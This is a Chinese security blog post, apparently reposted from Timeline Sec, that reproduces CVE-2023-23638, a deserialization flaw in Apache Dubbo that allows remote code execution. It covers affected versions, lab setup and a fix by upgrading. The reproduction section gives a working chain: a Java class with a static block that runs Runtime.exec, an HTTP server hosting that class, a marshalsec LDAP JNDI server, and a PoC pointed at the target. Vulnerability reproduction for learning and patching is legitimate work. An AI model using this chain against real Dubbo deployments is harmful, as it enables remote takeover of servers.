CVE-2023-23638:Apache Dubbo JavaNative反序列化漏洞

新闻资讯   2023-06-18 09:30   133   0  


关注我们❤️,添加星标🌟,一起学安全!
作者:lyc@Timeline Sec
本文字数:707
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负


0x01 简介


Apache Dubbo 是一款开源的一个高性能的 Java RPC 框架,致力于提供高性能透明化的 RPC 远程服务调用方案,常用于开发微服务和分布式架构相关的需求。


0x02 漏洞概述


漏洞编号:CVE-2023-23638
Apache Dubbo Provider 默认使用 Hession 反序列化机制与 Consumer 进行通信。本漏洞通过动态修改 Dubbo Configuration 启用 JavaNative,然后利用 Hession 反序列化触发特定 Gadget ,最终导致远程代码执行。

0x03 影响版本


Apache Dubbo 2.7.x <= 2.7.21
Apache Dubbo 3.0.x <= 3.0.13
Apache Dubbo 3.1.x <= 3.1.5


0x04 环境搭建


1、下载zookeeper
https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz

解压后的根目录下新建data和logs两个文件夹,修改conf目录下的zoo_sample.cfg为zoo.cfg,覆盖原有的dataDir并添加dataLogDir





2、双击bin目录下的zkServer.cmd,启动zookeeper



3、下载测试Demo及POC:
https://github.com/lz2y/DubboPOC

4、启动Provider


0x05 漏洞复现


1、下载marshalsec并编译得到jar包
git clone https://github.com/mbechler/marshalsecmvn clean package –DskipTests

2、创建Exploit.java文件
public class Exploit {     static {        System.err.println("Pwned");        try {            String cmds = "calc";            Runtime.getRuntime().exec(cmds);        } catch ( Exception e ) {            e.printStackTrace();        }    }}

javac 得到Exploit.class

3、在Exploit.class目录下开启http服务
python -m http.server 8000



4、使用marshalsec开启JNDI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087



5、打开
src\main\java\top\lz2y\vul\CVE202130179.java
修改接口名及其方法,替换ldap uri 填写Dubbo服务的ip以及端口号






0x06 修复方式



更新到最新版本。


推荐服务

历史漏洞


后台功能

回复【1】领取新人学习资料
回复【
2】进入漏洞查询功能
回复【
3】获取加群方式
回复【
4】领取安全电子书籍


商务合作

点我查看-可合作项目清单



阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行













文章引用微信公众号"Timeline Sec",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。